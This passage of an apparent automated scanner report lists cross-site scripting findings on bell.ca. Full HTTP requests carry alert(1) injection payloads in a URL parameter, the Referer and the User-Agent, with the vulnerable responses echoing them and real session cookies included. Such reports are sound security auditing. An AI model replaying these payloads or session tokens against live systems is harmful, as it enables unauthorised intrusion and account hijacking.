Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:20:38 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 45262


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_1 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<!-- LP trace code
Page Label: PrsCSrvInt_CtUs_Eformc3299-->1db487dc2d3
JSP URL: /support/portlets/personal/cust_care/contact_us/contact_us.jsp
end LP trace code -->
...[SNIP]...

2.363. https://www.bell.ca/support/internet.portal [_pageLabel parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /support/internet.portal

Issue detail

The value of the _pageLabel request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 39f99"%3balert(1)//d1760c98454 was submitted in the _pageLabel parameter. This input was echoed as 39f99";alert(1)//d1760c98454 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /support/internet.portal?_nfpb=true&PrsCSrvInt_ContactUs_Eform_1_actionOverride=%2Fportlets%2Fpersonal%2Finternet%2Feforms%2Fcontactus%2Frestart&_windowLabel=PrsCSrvInt_ContactUs_Eform_1&_pageLabel=PrsCSrvInt_CtUs_Eform39f99"%3balert(1)//d1760c98454 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:20:36 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 42431


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_1 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<![CDATA[ */
   s_oPGN="CtUs_Eform39f99";alert(1)//d1760c98454";
   s_oPTE="true";
   s_oLNG="en";
   s_oPRV="pe";
   s_oSIN="QC_DC3CAV_1";
   s_oSS1="support";
   s_oSS2="CtUs_Eform39f99";alert(1)//d1760c98454";
   s_oSS3="";
   s_oLGS="false";
   s_oCGN="site publisher"
...[SNIP]...

2.364. https://www.bell.ca/support/internet.portal [_pageLabel parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /support/internet.portal

Issue detail

The value of the _pageLabel request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 873cc"%20style%3dx%3aexpression(alert(1))%2010e3b4aca75 was submitted in the _pageLabel parameter. This input was echoed as 873cc" style=x:expression(alert(1)) 10e3b4aca75 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /support/internet.portal?_nfpb=true&PrsCSrvInt_ContactUs_Eform_1_actionOverride=%2Fportlets%2Fpersonal%2Finternet%2Feforms%2Fcontactus%2Frestart&_windowLabel=PrsCSrvInt_ContactUs_Eform_1&_pageLabel=PrsCSrvInt_CtUs_Eform873cc"%20style%3dx%3aexpression(alert(1))%2010e3b4aca75 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:20:31 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 45814


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_1 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<a href="https://www.bell.ca/support/PrsCSrvInt_CtUs_Eform873cc" style=x:expression(alert(1)) 10e3b4aca75.page?language=fr&amp;region=PE&amp;languageToggle=true&amp;_windowLabel=PrsCSrvInt_ContactUs_Eform_1" title="Consulter cette page en&nbsp;">
...[SNIP]...

2.365. http://internet.bell.ca/img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/index.cfm [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/index.cfm

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload baeba<script>alert(1)</script>44ad1b9eedb was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/index.cfm?method=sso.init&content=minidashboard HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.google.com/search?hl=en&q=baeba<script>alert(1)</script>44ad1b9eedb
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: internet.bell.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=DQYOf2fFccygzuKsCWHK4bJMmGOU5Qg9Z5DEqQmmwpEpiosa1R0QIhFOdJJE3CqxEJeFW1O7ODbHUVM9xz4i01aBesUzPSg7/Ukq9qAC5Kwnh+ZGmvTeaxoZZZPqbVas/k+M/Zv3ks8vo0XQFiHAM7jqrXXHLo5AbXLo3v7iqDBCJLnmPyyTCXcffrghtoaPNCzkoKtqNfPKw+kaCaGPPZ5A6XR5YlAd/sVXqcISHU7DGtQc7/mk8N72wqJEuQstrI+bJGqoYdMNpL55n5B871nIgpTHrY1rkgv4CyZmGpL5NdzbO6eMaQ==; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail

Response

HTTP/1.1 404 Not Found
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:35:25 GMT
Connection: close
Set-Cookie: SMSESSION=8/rFEr2cQvDfzS5KH6TIZVLHCOOV4bpllpa8xuqWna4xIjkSYO60GCUseRKf9TGxrfzJhfyTw1ltYSs/BmrtKZ28SW666DBim4AE80zLufJYXTdT1R+MIOwloRN0STKPANEZ5l9uacfj/z4cLFAoDNCPJa5sXiNzUVHirPcTKelDoJQH+ndzM//NL9N7yNJFvekziiiqG76TWh0ZXrSrEkq5zVuohJwWI96N0ZThRtncq1sG88iHa7cibmhL088PxBrl3y4WJ27lr47VBIe/XP5Aoeg82FH6uIisirwCKR7wUNiBmQNyHQ==; path=/
Content-Type: text/html; charset=ISO-8859-1

<!-- " ---></TD></TD></TD></TH></TH></TH></TR></TR></TR></TABLE></TABLE></TABLE></A></ABBREV></ACRONYM></ADDRESS></APPLET></AU></B></BANNER></BIG></BLINK></BLOCKQUOTE></BQ></CAPTION></CENTER></CITE></
...[SNIP]...
<font style="COLOR: black; FONT: 8pt/11pt verdana">http://www.google.com/search?hl=en&q=baeba<script>alert(1)</script>44ad1b9eedb</td>
...[SNIP]...

2.366. http://internet.bell.ca/img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/index.cfm [User-Agent HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/index.cfm

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload cee83<script>alert(1)</script>eadcfb5d730 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/index.cfm?method=sso.init&content=minidashboard HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://internet.bell.ca/img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/90_en.gif
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)cee83<script>alert(1)</script>eadcfb5d730
Accept-Encoding: gzip, deflate
Host: internet.bell.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=DQYOf2fFccygzuKsCWHK4bJMmGOU5Qg9Z5DEqQmmwpEpiosa1R0QIhFOdJJE3CqxEJeFW1O7ODbHUVM9xz4i01aBesUzPSg7/Ukq9qAC5Kwnh+ZGmvTeaxoZZZPqbVas/k+M/Zv3ks8vo0XQFiHAM7jqrXXHLo5AbXLo3v7iqDBCJLnmPyyTCXcffrghtoaPNCzkoKtqNfPKw+kaCaGPPZ5A6XR5YlAd/sVXqcISHU7DGtQc7/mk8N72wqJEuQstrI+bJGqoYdMNpL55n5B871nIgpTHrY1rkgv4CyZmGpL5NdzbO6eMaQ==; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail

Response

HTTP/1.1 404 Not Found
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:35:25 GMT
Connection: close
Set-Cookie: SMSESSION=e36v599AkGcez1CHs30c6eizr1+inKa7C5ZqVIxz0ve/4F5kYQJROLz0kPjFSYDx/1u46WcxVgA2q6fbQs5abjGIGymGN8Nt3vyXHc8QRHKjGDzI7T7F9Iz2fAA6nZMN3w6t9g0+0MYf0aOo7zzs7AGWGGXwF+A3Keolk2NNWqEaJhoyl3607vjNMcJKZE5VMpUyy3LWcRDM/5uAwW42yIQXmLFxkZJzysT/Dg3iX/8KoaK3SMdEOh6InehPtq/uuQY9KUtX+6zX3XJq9ELRym87yUY8IR8Nez2wfXiGZTySGbHNcKaxow==; path=/
Content-Type: text/html; charset=ISO-8859-1

<!-- " ---></TD></TD></TD></TH></TH></TH></TR></TR></TR></TABLE></TABLE></TABLE></A></ABBREV></ACRONYM></ADDRESS></APPLET></AU></B></BANNER></BIG></BLINK></BLOCKQUOTE></BQ></CAPTION></CENTER></CITE></
...[SNIP]...
tyle="COLOR: black; FONT: 8pt/11pt verdana">Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)cee83<script>alert(1)</script>eadcfb5d730</td>
...[SNIP]...

2.367. http://www.bell.ca/accessibilityservices [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /accessibilityservices

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e78d8'-alert(1)-'34c5076a524 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /accessibilityservices HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;
Referer: http://www.google.com/search?hl=en&q=e78d8'-alert(1)-'34c5076a524

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:07:17 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=ndKGMtGFdZ20wJ038ndb8yMGHnyR9Fl1y1fhK0dvph1DLZTT1Dbt!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 13771


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
   }
           return url + param + "=" + value;
       }
   }
   function onSelectProvince(o, lang) {
       var url;
       if (location.href.indexOf("error") != -1) {
           
           url = 'http://www.google.com/search?hl=en&q=e78d8'-alert(1)-'34c5076a524';
       } else {
           url = location.href;
       }
       //Issue CR26775 / WO59808, remove 2 parameters from the URL extension
       url = removeUrlParam(url, "region", "language");

       url = setUrlParam(url, "re
...[SNIP]...

2.368. http://www.bell.ca/accessibilityservices [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /accessibilityservices

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload c1638--><script>alert(1)</script>a7b7f481ce9 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /accessibilityservices HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;
Referer: c1638--><script>alert(1)</script>a7b7f481ce9

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:07:27 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Length: 11111
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=1NlnMtGP1JTy9Xn1K922nvn0QJ9hFVpDyTHWnpvMW4vGLrwPFq2J!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
<!-- OmniTrack.jsp ignorred execution exception : java.net.MalformedURLException: no protocol: c1638--><script>alert(1)</script>a7b7f481ce9 -->

2.369. http://www.bell.ca/accessibilityservices/PrsSN_Landing.page [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /accessibilityservices/PrsSN_Landing.page

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 24c14--><script>alert(1)</script>6e8f71b07c6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /accessibilityservices/PrsSN_Landing.page HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;
Referer: 24c14--><script>alert(1)</script>6e8f71b07c6

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:06:39 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Length: 11111
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=r3p8MtGf1Qf2sG96RVv4JBHlBsBTQTFwWgJMj31R2lv1gccGnp4S!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
<!-- OmniTrack.jsp ignorred execution exception : java.net.MalformedURLException: no protocol: 24c14--><script>alert(1)</script>6e8f71b07c6 -->

2.370. http://www.bell.ca/accessibilityservices/PrsSN_Landing.page [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /accessibilityservices/PrsSN_Landing.page

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c9e3c'-alert(1)-'87387779b9b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /accessibilityservices/PrsSN_Landing.page HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; 